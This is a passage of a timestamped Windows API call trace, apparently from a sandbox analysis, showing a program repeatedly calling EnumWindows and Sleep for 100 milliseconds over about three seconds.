(lpEnumFunc=0x423dd0, lParam=0x410000) [0232.667] Sleep (dwMilliseconds=0x64) [0232.676] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.676] Sleep (dwMilliseconds=0x64) [0232.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.736] Sleep (dwMilliseconds=0x64) [0232.745] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.746] Sleep (dwMilliseconds=0x64) [0232.794] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.795] Sleep (dwMilliseconds=0x64) [0232.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.805] Sleep (dwMilliseconds=0x64) [0232.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.806] Sleep (dwMilliseconds=0x64) [0232.808] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.808] Sleep (dwMilliseconds=0x64) [0232.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.810] Sleep (dwMilliseconds=0x64) [0232.811] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.811] Sleep (dwMilliseconds=0x64) [0232.812] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.813] Sleep (dwMilliseconds=0x64) [0232.814] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.814] Sleep (dwMilliseconds=0x64) [0232.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.816] Sleep (dwMilliseconds=0x64) [0232.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.817] Sleep (dwMilliseconds=0x64) [0232.818] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.819] Sleep (dwMilliseconds=0x64) [0232.820] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.820] Sleep (dwMilliseconds=0x64) [0232.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.822] Sleep (dwMilliseconds=0x64) [0232.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.824] Sleep (dwMilliseconds=0x64) [0232.858] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.859] Sleep (dwMilliseconds=0x64) [0232.867] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.868] Sleep (dwMilliseconds=0x64) [0232.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.969] Sleep (dwMilliseconds=0x64) [0232.981] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.981] Sleep (dwMilliseconds=0x64) [0232.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.996] Sleep (dwMilliseconds=0x64) [0232.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0232.998] Sleep (dwMilliseconds=0x64) [0233.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.039] Sleep (dwMilliseconds=0x64) [0233.119] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.120] Sleep (dwMilliseconds=0x64) [0233.122] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.122] Sleep (dwMilliseconds=0x64) [0233.123] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.123] Sleep (dwMilliseconds=0x64) [0233.125] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.125] Sleep (dwMilliseconds=0x64) [0233.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.126] Sleep (dwMilliseconds=0x64) [0233.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.130] Sleep (dwMilliseconds=0x64) [0233.131] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.131] Sleep (dwMilliseconds=0x64) [0233.132] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.132] Sleep (dwMilliseconds=0x64) [0233.134] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.134] Sleep (dwMilliseconds=0x64) [0233.135] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.136] Sleep (dwMilliseconds=0x64) [0233.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.137] Sleep (dwMilliseconds=0x64) [0233.141] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.141] Sleep (dwMilliseconds=0x64) [0233.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.143] Sleep (dwMilliseconds=0x64) [0233.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.151] Sleep (dwMilliseconds=0x64) [0233.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.180] Sleep (dwMilliseconds=0x64) [0233.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.261] Sleep (dwMilliseconds=0x64) [0233.262] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.263] Sleep (dwMilliseconds=0x64) [0233.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.265] Sleep (dwMilliseconds=0x64) [0233.281] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.282] Sleep (dwMilliseconds=0x64) [0233.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.319] Sleep (dwMilliseconds=0x64) [0233.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.329] Sleep (dwMilliseconds=0x64) [0233.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.339] Sleep (dwMilliseconds=0x64) [0233.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.427] Sleep (dwMilliseconds=0x64) [0233.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.437] Sleep (dwMilliseconds=0x64) [0233.448] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.449] Sleep (dwMilliseconds=0x64) [0233.451] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.451] Sleep (dwMilliseconds=0x64) [0233.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.464] Sleep (dwMilliseconds=0x64) [0233.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.475] Sleep (dwMilliseconds=0x64) [0233.570] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.571] Sleep (dwMilliseconds=0x64) [0233.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.588] Sleep (dwMilliseconds=0x64) [0233.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.682] Sleep (dwMilliseconds=0x64) [0233.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.759] Sleep (dwMilliseconds=0x64) [0233.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.830] Sleep (dwMilliseconds=0x64) [0233.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.858] Sleep (dwMilliseconds=0x64) [0233.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.860] Sleep (dwMilliseconds=0x64) [0233.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.861] Sleep (dwMilliseconds=0x64) [0233.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.877] Sleep (dwMilliseconds=0x64) [0233.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.879] Sleep (dwMilliseconds=0x64) [0233.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.881] Sleep (dwMilliseconds=0x64) [0233.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.882] Sleep (dwMilliseconds=0x64) [0233.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.884] Sleep (dwMilliseconds=0x64) [0233.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.886] Sleep (dwMilliseconds=0x64) [0233.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.887] Sleep (dwMilliseconds=0x64) [0233.889] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.889] Sleep (dwMilliseconds=0x64) [0233.891] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.891] Sleep (dwMilliseconds=0x64) [0233.893] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.893] Sleep (dwMilliseconds=0x64) [0233.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.895] Sleep (dwMilliseconds=0x64) [0233.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.897] Sleep (dwMilliseconds=0x64) [0233.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.899] Sleep (dwMilliseconds=0x64) [0233.901] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.901] Sleep (dwMilliseconds=0x64) [0233.903] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.903] Sleep (dwMilliseconds=0x64) [0233.905] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.905] Sleep (dwMilliseconds=0x64) [0233.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.907] Sleep (dwMilliseconds=0x64) [0233.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.910] Sleep (dwMilliseconds=0x64) [0233.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.912] Sleep (dwMilliseconds=0x64) [0233.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.914] Sleep (dwMilliseconds=0x64) [0233.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.915] Sleep (dwMilliseconds=0x64) [0233.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.917] Sleep (dwMilliseconds=0x64) [0233.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.919] Sleep (dwMilliseconds=0x64) [0233.921] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.921] Sleep (dwMilliseconds=0x64) [0233.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.923] Sleep (dwMilliseconds=0x64) [0233.942] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.942] Sleep (dwMilliseconds=0x64) [0233.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.944] Sleep (dwMilliseconds=0x64) [0233.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.946] Sleep (dwMilliseconds=0x64) [0233.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.947] Sleep (dwMilliseconds=0x64) [0233.949] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.949] Sleep (dwMilliseconds=0x64) [0233.950] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.950] Sleep (dwMilliseconds=0x64) [0233.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.952] Sleep (dwMilliseconds=0x64) [0233.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.954] Sleep (dwMilliseconds=0x64) [0233.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.955] Sleep (dwMilliseconds=0x64) [0233.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.957] Sleep (dwMilliseconds=0x64) [0233.958] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.958] Sleep (dwMilliseconds=0x64) [0233.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.960] Sleep (dwMilliseconds=0x64) [0233.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.961] Sleep (dwMilliseconds=0x64) [0233.963] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.963] Sleep (dwMilliseconds=0x64) [0233.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.965] Sleep (dwMilliseconds=0x64) [0233.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.967] Sleep (dwMilliseconds=0x64) [0233.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.969] Sleep (dwMilliseconds=0x64) [0233.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.971] Sleep (dwMilliseconds=0x64) [0233.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.973] Sleep (dwMilliseconds=0x64) [0233.974] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.974] Sleep (dwMilliseconds=0x64) [0233.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.976] Sleep (dwMilliseconds=0x64) [0233.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.977] Sleep (dwMilliseconds=0x64) [0233.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.979] Sleep (dwMilliseconds=0x64) [0233.981] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.981] Sleep (dwMilliseconds=0x64) [0233.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.982] Sleep (dwMilliseconds=0x64) [0233.983] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.984] Sleep (dwMilliseconds=0x64) [0233.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.985] Sleep (dwMilliseconds=0x64) [0233.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.987] Sleep (dwMilliseconds=0x64) [0233.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.989] Sleep (dwMilliseconds=0x64) [0233.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.992] Sleep (dwMilliseconds=0x64) [0233.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.994] Sleep (dwMilliseconds=0x64) [0233.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.996] Sleep (dwMilliseconds=0x64) [0233.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0233.998] Sleep (dwMilliseconds=0x64) [0233.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.000] Sleep (dwMilliseconds=0x64) [0234.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.002] Sleep (dwMilliseconds=0x64) [0234.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.003] Sleep (dwMilliseconds=0x64) [0234.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.005] Sleep (dwMilliseconds=0x64) [0234.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.006] Sleep (dwMilliseconds=0x64) [0234.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.008] Sleep (dwMilliseconds=0x64) [0234.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.010] Sleep (dwMilliseconds=0x64) [0234.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.012] Sleep (dwMilliseconds=0x64) [0234.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.013] Sleep (dwMilliseconds=0x64) [0234.015] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.025] Sleep (dwMilliseconds=0x64) [0234.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.027] Sleep (dwMilliseconds=0x64) [0234.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.029] Sleep (dwMilliseconds=0x64) [0234.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.032] Sleep (dwMilliseconds=0x64) [0234.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.033] Sleep (dwMilliseconds=0x64) [0234.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.035] Sleep (dwMilliseconds=0x64) [0234.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.036] Sleep (dwMilliseconds=0x64) [0234.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.038] Sleep (dwMilliseconds=0x64) [0234.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.039] Sleep (dwMilliseconds=0x64) [0234.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.041] Sleep (dwMilliseconds=0x64) [0234.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.042] Sleep (dwMilliseconds=0x64) [0234.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.064] Sleep (dwMilliseconds=0x64) [0234.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.067] Sleep (dwMilliseconds=0x64) [0234.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.068] Sleep (dwMilliseconds=0x64) [0234.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.070] Sleep (dwMilliseconds=0x64) [0234.071] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.072] Sleep (dwMilliseconds=0x64) [0234.073] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.073] Sleep (dwMilliseconds=0x64) [0234.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.075] Sleep (dwMilliseconds=0x64) [0234.077] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.077] Sleep (dwMilliseconds=0x64) [0234.079] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.079] Sleep (dwMilliseconds=0x64) [0234.081] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.081] Sleep (dwMilliseconds=0x64) [0234.082] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.082] Sleep (dwMilliseconds=0x64) [0234.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.084] Sleep (dwMilliseconds=0x64) [0234.086] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.086] Sleep (dwMilliseconds=0x64) [0234.087] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.087] Sleep (dwMilliseconds=0x64) [0234.089] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.089] Sleep (dwMilliseconds=0x64) [0234.091] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.091] Sleep (dwMilliseconds=0x64) [0234.093] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.093] Sleep (dwMilliseconds=0x64) [0234.095] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.095] Sleep (dwMilliseconds=0x64) [0234.098] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.098] Sleep (dwMilliseconds=0x64) [0234.099] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.099] Sleep (dwMilliseconds=0x64) [0234.101] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.102] Sleep (dwMilliseconds=0x64) [0234.117] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.117] Sleep (dwMilliseconds=0x64) [0234.131] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.131] Sleep (dwMilliseconds=0x64) [0234.135] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.135] Sleep (dwMilliseconds=0x64) [0234.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.137] Sleep (dwMilliseconds=0x64) [0234.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.139] Sleep (dwMilliseconds=0x64) [0234.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.141] Sleep (dwMilliseconds=0x64) [0234.142] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.143] Sleep (dwMilliseconds=0x64) [0234.144] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.144] Sleep (dwMilliseconds=0x64) [0234.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.146] Sleep (dwMilliseconds=0x64) [0234.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.148] Sleep (dwMilliseconds=0x64) [0234.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.152] Sleep (dwMilliseconds=0x64) [0234.154] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.154] Sleep (dwMilliseconds=0x64) [0234.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.156] Sleep (dwMilliseconds=0x64) [0234.157] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.158] Sleep (dwMilliseconds=0x64) [0234.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.159] Sleep (dwMilliseconds=0x64) [0234.161] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.161] Sleep (dwMilliseconds=0x64) [0234.162] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.163] Sleep (dwMilliseconds=0x64) [0234.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.165] Sleep (dwMilliseconds=0x64) [0234.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.166] Sleep (dwMilliseconds=0x64) [0234.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.168] Sleep (dwMilliseconds=0x64) [0234.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.170] Sleep (dwMilliseconds=0x64) [0234.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.171] Sleep (dwMilliseconds=0x64) [0234.173] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.173] Sleep (dwMilliseconds=0x64) [0234.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.184] Sleep (dwMilliseconds=0x64) [0234.187] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.189] Sleep (dwMilliseconds=0x64) [0234.191] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.191] Sleep (dwMilliseconds=0x64) [0234.192] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.193] Sleep (dwMilliseconds=0x64) [0234.194] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.194] Sleep (dwMilliseconds=0x64) [0234.196] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.196] Sleep (dwMilliseconds=0x64) [0234.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.198] Sleep (dwMilliseconds=0x64) [0234.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.201] Sleep (dwMilliseconds=0x64) [0234.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.203] Sleep (dwMilliseconds=0x64) [0234.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.205] Sleep (dwMilliseconds=0x64) [0234.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.207] Sleep (dwMilliseconds=0x64) [0234.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.208] Sleep (dwMilliseconds=0x64) [0234.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.210] Sleep (dwMilliseconds=0x64) [0234.211] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.211] Sleep (dwMilliseconds=0x64) [0234.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.213] Sleep (dwMilliseconds=0x64) [0234.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.215] Sleep (dwMilliseconds=0x64) [0234.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.260] Sleep (dwMilliseconds=0x64) [0234.276] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.277] Sleep (dwMilliseconds=0x64) [0234.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.293] Sleep (dwMilliseconds=0x64) [0234.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.308] Sleep (dwMilliseconds=0x64) [0234.377] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.377] Sleep (dwMilliseconds=0x64) [0234.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.386] Sleep (dwMilliseconds=0x64) [0234.422] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.422] Sleep (dwMilliseconds=0x64) [0234.425] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.425] Sleep (dwMilliseconds=0x64) [0234.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.434] Sleep (dwMilliseconds=0x64) [0234.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.444] Sleep (dwMilliseconds=0x64) [0234.453] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.453] Sleep (dwMilliseconds=0x64) [0234.533] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.533] Sleep (dwMilliseconds=0x64) [0234.597] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.597] Sleep (dwMilliseconds=0x64) [0234.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.599] Sleep (dwMilliseconds=0x64) [0234.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.600] Sleep (dwMilliseconds=0x64) [0234.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.602] Sleep (dwMilliseconds=0x64) [0234.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.603] Sleep (dwMilliseconds=0x64) [0234.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.605] Sleep (dwMilliseconds=0x64) [0234.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.606] Sleep (dwMilliseconds=0x64) [0234.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.608] Sleep (dwMilliseconds=0x64) [0234.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.609] Sleep (dwMilliseconds=0x64) [0234.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.611] Sleep (dwMilliseconds=0x64) [0234.612] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.613] Sleep (dwMilliseconds=0x64) [0234.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.614] Sleep (dwMilliseconds=0x64) [0234.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.616] Sleep (dwMilliseconds=0x64) [0234.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.617] Sleep (dwMilliseconds=0x64) [0234.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.619] Sleep (dwMilliseconds=0x64) [0234.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.621] Sleep (dwMilliseconds=0x64) [0234.622] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.622] Sleep (dwMilliseconds=0x64) [0234.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.624] Sleep (dwMilliseconds=0x64) [0234.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.626] Sleep (dwMilliseconds=0x64) [0234.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.644] Sleep (dwMilliseconds=0x64) [0234.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.734] Sleep (dwMilliseconds=0x64) [0234.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.736] Sleep (dwMilliseconds=0x64) [0234.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.754] Sleep (dwMilliseconds=0x64) [0234.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.757] Sleep (dwMilliseconds=0x64) [0234.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.759] Sleep (dwMilliseconds=0x64) [0234.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.761] Sleep (dwMilliseconds=0x64) [0234.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.763] Sleep (dwMilliseconds=0x64) [0234.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.783] Sleep (dwMilliseconds=0x64) [0234.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.872] Sleep (dwMilliseconds=0x64) [0234.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.878] Sleep (dwMilliseconds=0x64) [0234.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0234.880] Sleep (dwMilliseconds=0x64) [0235.120] 